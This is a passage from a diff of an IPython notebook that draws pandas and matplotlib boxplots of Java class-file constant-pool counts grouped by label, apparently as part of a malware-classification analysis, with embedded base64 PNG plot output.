QbmNh6P9TIDwAxWV8c5fXo0dAxgC6tkAwAAQE8KZmBuepcBYDbH\nj4+GjgD0MGjBXFWfVVUvrqq3VNVGVX2oqt5aVT9bVfccMhsAAOy1jY2hEwB9DN3DfPckd0vyq0m+\nL8mTk7wmyeOTvFHRDMvBPswAMJv19fHQEYAeBl0lu7X2uiSv236+qn4vya8kOZHk5AHHAgCAPbN1\nlewXvCBZWel+t0o2LL5F3VbqnZOfHxs0BTATc5gBYGc3L4xHOXlysChATwtRMFfVLZPcPsmtktwv\nyTPSFc3PGzIXAAAAR9fQc5g3fUuS69IVya9J8vEk/7K1du2gqYCZmMMMALM5dmw8dASgh4XoYU7y\n8iR/meR2SR6Y5ElJrq6qR7TWrhk0GQAA7JHjx4dOAPRRrbWhM5ylqj47yZ8keW1r7au3XWuLmBkA\nAIDlU1VprdW0a4vSw3wzrbU3VdVaksumXV9dXc3KZHnBY8eO5fjx4zctOrQ5NNSxY8eOHTt27Nix\nY8eOHTvefry2tpaNyabo6+vr2c1C9jAnSVX9eZJPa63dadt5PcywYMbj8U3/EQIAdqbNhMWzWw/z\nBQcdZququusO5x+a5AFJfvdgEwEAwP5ZWxs6AdDH0EOyn11Vd0vyunQrZN8qyecleXSSa5N874DZ\ngBn5phwAZrOxMRo6AtDD0AXzS5I8Psk3JLlzkpbkmiT/LckzW2vXD5gNAACAI2zQgrm19rIkLxsy\nAzA/87EAYGfjcfdIklOnxklGSZLRqHsAi2voHmYAADjUthbG6+vJyZPDZQH6GXTRL+Bw0LsMALNZ\nWRkNHQHoQcEMAAAHxHfMsFwUzMDcNjeEBwDOZTx0AKAHBTMAAABMUa21oTP0UlVt2TIDAACwmKoq\nrbWadk0PMwAAAEyhYAbmZg4zAMxGmwnLRcEMAAAHZG1t6ARAHwpmYG72YQaA2WxsjIaOAPSgYAYA\nAIApLho6ALD8xuOxXmYA2MF43D2S5NSpcZJRkmQ06h7A4lIwAwDAPtpaGK+vJydPDpcF6MeQbGBu\nepcBYDYrK6OhIwA9KJgBAOCA+I4ZlouCGZibPSUBYFbjoQMAPSiYAQAAYIpqrQ2doZeqasuWGQAA\ngMVUVWmt1bRrepgBAABgCgUzMDdzmAFgNtpMWC4KZgAAAJjCHGYAAACOLHOYAQAAoCcFMzA387EA\nYDbaTFguCmYAADgga2tDJwD6UDADcxuNRkNHAIClsLExGjoC0IOCGQAAAKa4aOgAwPIbj8d6mQFg\nB+Nx90iSU6fGSUZJktGoewCLS8EMAAD7aGthvL6enDw5XBagH0OygbnpXQaA2aysjIaOAPSgYAYA\ngAPiO2ZYLgpmYG72lASAWY2HDgD0oGAGAACAKaq1NnSGXqqqLVtmAAAAFlNVpbVW067pYQYAAIAp\nFMzA3MxhBoDZaDNhuSiYAQAAYApzmAEAADiyzGEGAACAnhTMwNzMxwKA2WgzYbkMWjBX1WdW1dOr\n6g1VdV1VfaCq/qyqnlZVtxkyGwAAAEfboHOYq+rHk3x7klcmeUOSjyd5WJKvS/IXSb6wtfbRbc8x\nhxkAAIA9sdsc5qEL5s9L8tbW2ge3nf/hJN+f5EmttZ/ddk3BDAAAwJ5Y2EW/Wmv/e3uxPPErk5/3\nP8g8wPkxHwsAZqPNhOWyqIt+fdrk57WDpgBmsra2NnQEAFgK2kxYLgtXMFfVhUl+MN185pcMHAeY\nwcbGxtARAGApaDNhuVw0dIAprkzyhUme2lr766HDAAAAcDQtVA/zZLGvJyb5+dbaM4bOA8xmfX19\n6AgAsBS0mbBcBl0le6uqOpnkh5I8v7X2zbvctxiBAQAAOBQWclupm0KcKZZPt9a+aeA4AAAAMPyQ\n7Kr6oXTF8gsVywAAACyKQXuYq+qJSX46yTvTrYy9Pcw/ttZ+58CDAQAAcOQN3cP8+emK5E9P8oIk\nL9z2eNpw0WA5VdVqVd1YVQ8ZMMNokuHEUBkAYD9V1emqunHbuZOT9u8e5/F65/1cYP8Muq1Ua+0b\nk3zjkBmAfdNy9qgRADhMtrdz87R92k1YQEP3MAOH09VJbp3kRUMHAYB9tH1V3R9JcuvW2jvP47Xm\neS6wTwbtYQYOp9YtjvCxoXMAwEFqrX0yyScP+rnA/tHDDIfXLSbzod5RVR+tqj+vqkdvv6mqPr+q\nXl5V10/u+79V9bSqunDbfeOqentVfUpVvbSq3ltVH6qq11TVP9l279Q5zFV1p6p6flW9p6o+WFW/\nW1XHN197273rVXVVVd23qn6jqj5QVRtV9bKquuteflAALL8ta3g8rKp+YNKOfLiq/qiqHjy5Z1RV\nf1BVN1TVu6rqB7a9xpdU1S9X1TWT576vql4767ogO81Drqo7VNWPVtVbquojVfXuqvr9re3yLs9d\nqapfrKprJ+302yavdett9501p3rLtRur6he2nXt8Vf3x5N94Q1X9TVW9qKouneXfCkeFHmY4vJ6R\n5DZJfibdkLFvTPLSqrpVa+0FSVJVX5Hk15K8NclPJHlvki9K8vQkx5N83ZbXa0lum+T3krw+yVOT\n3CvJk5O8sqoe0Frb3lDfNBerqm6Z5HeSfG6SX0jyx5Pff2fyvtPmgd09yVWTjK+cZPrWJHdI8qXn\n8ZkAcPj9eLpOoSuT3DLJdyV5TVU9IcnPJXl2kl9M8ugkT6+qt7fWXjx57okkx5KcTvJ3ST4tyTcn\n+d2qemhr7Q/6hqmqY0n+IMn9krwsyc8muTDJA5N8RZJf3uW5n5Guvbx9kmcl+eskD03XBj+4qh4+\n6ZnetNsc6K1t8jek+zf+Xrqdaj6S5B5JvjzJnZO8u8+/EQ4zBTMcXndK8jmttQ8mSVU9O8lfJPnJ\nqvqldEX089IVvw/bUuw+p6r+fHLfZa21qyfnK8mlSZ7ZWvuJzTepquuTPDPJI5L81i55npCuQP7+\n1tqPbXn+m9L98bC+7f5Kcp8kX9da+x9b7r8xybdX1We21t4686cBwFFxQZIvbK19Ikmq6i/Tfen6\n4iRf0Fp74+T885O8I8kTJ9eS5Ftaax/e+mKT9vPN6YrUrziPPFekK5b/fWvtudtee/sc6GnPvTTJ\nI1trr5mce3ZVvSPJU9IV+M/f+pIzZnpUkg/k5u1/klw+4/PhyDAkGw6vn9sslpOktfaBdN+qX5zu\n2+l/leQu6b5hvqSqLt18JHn15Glfsu01P5nkv207d9Xk533OkeerknwiyX/ddv656Rrtaf5+a7Hc\n8/0AOJp+brNYntjsFX79ZrGcJK21jyf5kyT/ZMu5m4rlqrpdVd0pyY3penm/oG+QqrogyWOS/OX2\nYnnyfjv2CE+e+6+TvHFLsbzpxya5HtU308RGulFjXzlD0Q5Hmh5mOLzessu5eyW53eT350+5L+mG\nbt1l27l3tda2L+b1nsnPO50jzz0nz7/ZN/ettY9P5i/fccpzrplybtb3A+Boulnb0Vp736QmfPuU\ne9+XLe1JVd07yY+mm/azvV2aOj/4HC5NN8T7N8/juXdOV9S+efuFyb/pH9O1refjiiQPSfKKJO+p\nqqvTfVm1fegVAAADnUlEQVT+y621G87zNeFQUjDD0bT1G+2nJFnb4b53bTvebfXO/fiG+qDfD4Dl\nt1PbsesK1FV1u3Rzem+d5KeSvCnJB9MVyk9LNzprkU3tra6qs/7eb629rarul+Thk8dlSZ6T5FRV\nPaS1Nu0LaziSFMxweN0vyaumnEu6b99vM/n9w6211x1AnvUkD6+q27bWPrR5sqpuke4b8vceQAYA\n2G6z0Hx4kk9J8o2bi2NuqqorzvO1352uF/v4eTz3+nQF+/23X6iqi9NlfeOW0++dXDvWWtvYcv5e\n0158MmLs1ZNHqurLk/xGkv+U5DvOIy8cSuYww+H1bVV1h82Dqrpjkv+QruG+Oslrk1yX5PsmDe/N\nVNWtJ9+275VfT7cq6JO3nf+WdKteA8CQNnugb/b3cVV9SZJ/scNzdluVOpMFtV6a5H5V9U19wkye\n+6okD6yq7TtDfF+6kVYv33LuryY//9W2e79r+2vvsHXUn01+nvU3ARxlepjh8Lo+yR9N9l3c3Fbq\n05J8c2vto0m3B2O6+Ut/NVkt9G/SzbW6b7qFRP5NuuFpm+YZBv3cdFtC/UhV3SfdQiufk27rqrel\nK6YB4KBttm1/kOQfk/yXqlpJ8vfpeoYfl2549mfv8tzd/ECShyV57qT4/l+T5/2zJBe21h6/y3Of\nlq4AfkVVPStdO/2QdG3n1Um29oS/NN3c5P9eVfdN9wX5l2X6mh+/VVXvS/dv/tt0bf9quuHnvzjD\nvwmODAUzHE4tyfema1SfmOSu6b55fmxr7Zduuqm136qqf57um+rHpVtg5H3pCtj/ku4PhK2vues3\n6VMynDlo7WNV9fAk/znJV6dr7P843XZUz0lyq92e3+MaAEdX3/bhprattbYx6cl9ZpInpfs7+U/T\n7U38zUkesNNzdzs3ed0HpSt+vybdF9IfTLeY10+f47nvrKovSPL0dO30sXQF7hVJfmTrllCttQ9W\n1SOT/OTkvW5I8qtJHpuubd/qWena4X+f5JJ0C2q+MckTt2wnCSSpXVazB9h3VXVhujler2+tPXLo\nPAAAsMkcZuDAVNX2XuSkm1d9xyS/fcBxAABgV3qYgQNTVS9Kcsskr0/y/5I8KMm/SzcE/IFbV88G\nAIChKZiBA1NV35BuTvVnJrldusVVfjPJD7bWrh8yGwAAbKdgBgAAgCnMYQYAAIApFMwAAAAwhYIZ\nAAAAplAwAwAAwBQKZgAAAJhCwQwAAABT/H8yWa7qsI8HugAAAABJRU5ErkJggg==\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b60b9d0>"
+       ]
+      }
+     ],
+     "prompt_number": 131
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Next we compare the number of items in the constant pool"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot(column='constant_pool_count', by='label')\n",
+      "plt.ylabel('Constant Pool Count')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 132,
+       "text": [
+        "<matplotlib.text.Text at 0x12b8b8650>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\nB497MY45HI/nAAAAAElFTkSuQmCC\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b8b6cd0>"
+       ]
+      }
+     ],
+     "prompt_number": 132
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### It's hard to see the detail, so we zoom in"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot(column='constant_pool_count', by='label')\n",
+      "plt.xlabel('')\n",
+      "plt.ylabel('Constant Pool Count')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')\n",
+      "plt.ylim(0, 1000)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 133,
+       "text": [
+        "(0, 1000)"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
